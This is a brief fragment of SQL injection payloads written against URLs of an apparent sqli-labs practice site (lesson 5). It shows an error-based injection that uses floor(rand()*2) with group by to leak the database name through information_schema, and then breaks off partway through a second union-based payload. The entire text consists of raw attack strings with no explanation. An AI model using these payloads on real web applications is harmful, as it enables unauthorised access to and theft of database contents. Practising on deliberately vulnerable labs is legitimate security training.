http://www.sqli-lab.cn/Less-5/?id=1' union select count(*),0,concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))as a from information_schema.tables group by a limit 0,10 --+ http://www.sqli-lab.cn/Less-5/?id=1' union select 1,2,3 from (select count(*...